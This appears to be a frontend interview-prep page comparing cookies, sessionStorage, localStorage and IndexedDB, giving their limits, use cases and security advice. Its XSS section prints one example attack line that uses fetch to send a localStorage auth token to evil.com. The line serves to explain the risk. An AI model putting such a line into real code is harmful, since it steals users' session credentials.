Browser Storage: Cookies, SessionStorage, LocalStorage, IndexedDB

Easy•

Each browser storage type exists for a different reason. Understanding persistence, security, and performance trade-offs is essential for frontend interviews and real-world architecture decisions.

Asked In

Apple Google

Quick Navigation: 1️⃣ Cookies (Server-Accessible Storage) • 2️⃣ sessionStorage (Per-Tab Temporary Storage) • 3️⃣ localStorage (Persistent Client Storage) • 4️⃣ IndexedDB (Client-Side Database) • Security & XSS Risks (Most Important) • Comparison Table

Quick Decision Guide

### Quick Decision Guide

- Need server access? → Cookies - Temporary tab data? → sessionStorage - Persistent client preferences? → localStorage - Large structured/offline data? → IndexedDB

⚠ Never store sensitive tokens in localStorage. Use httpOnly cookies.

1️⃣ Cookies (Server-Accessible Storage)

Characteristics

•~4KB limit

•Sent with every HTTP request

•Can be httpOnly (not accessible via JS)

•Can expire

Use Cases

•Authentication tokens

•Session management

•Small server-accessible config

Security

res.cookie('token', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict'
})

Pitfall

Cookies increase request size because they are sent with every request.

2️⃣ sessionStorage (Per-Tab Temporary Storage)

Characteristics

•~5–10MB

•Cleared when tab closes

•Not shared between tabs

•Synchronous API

Use Cases

•Multi-step form drafts

•Wizard state

•Temporary UI state

sessionStorage.setItem('draft', JSON.stringify(data))

Pitfall

Data disappears when the tab closes.

3️⃣ localStorage (Persistent Client Storage)

Characteristics

•~5–10MB

•Persists across sessions

•Domain-specific

•Synchronous API (blocks main thread)

Use Cases

•Theme preference

•Language selection

•Non-sensitive cached UI data

localStorage.setItem('theme', 'dark')

Pitfalls

•Vulnerable to XSS

•Only stores strings

•Blocks main thread for large data

4️⃣ IndexedDB (Client-Side Database)

Characteristics

•Large capacity

•Structured data (objects, indexes)

•Asynchronous API

•Transaction support

Use Cases

•Offline-first apps

•Large datasets

•Complex querying

const request = indexedDB.open('myDB', 1)

When to Choose It

If you need large storage or structured querying beyond key-value.

Security & XSS Risks (Most Important)

XSS Risk

All client-side storage (localStorage, sessionStorage, IndexedDB, non-httpOnly cookies) can be read by malicious scripts.

Example attack:

fetch('https://evil.com?token=' + localStorage.getItem('authToken'))

Safe Practice

•Store auth tokens in httpOnly cookies

•Implement Content Security Policy (CSP)

•Sanitize user input

Interview Answer Pattern

"Sensitive tokens go in httpOnly cookies because localStorage is accessible to JavaScript and vulnerable to XSS."

Comparison Table

Feature	Cookies	sessionStorage	localStorage	IndexedDB
Server Access	✅	❌	❌	❌
Size	~4KB	~5–10MB	~5–10MB	Large
Persistence	Configurable	Tab-only	Persistent	Persistent
API	String	Sync	Sync	Async
Best For	Auth	Temp UI	Preferences	Offline Apps

Key Takeaways

1Cookies are the only storage automatically sent to the server.

2localStorage and sessionStorage are synchronous and vulnerable to XSS.

3IndexedDB is asynchronous and suited for large structured data.

4Never store sensitive tokens in localStorage.

5Choose storage based on persistence, size, and security needs.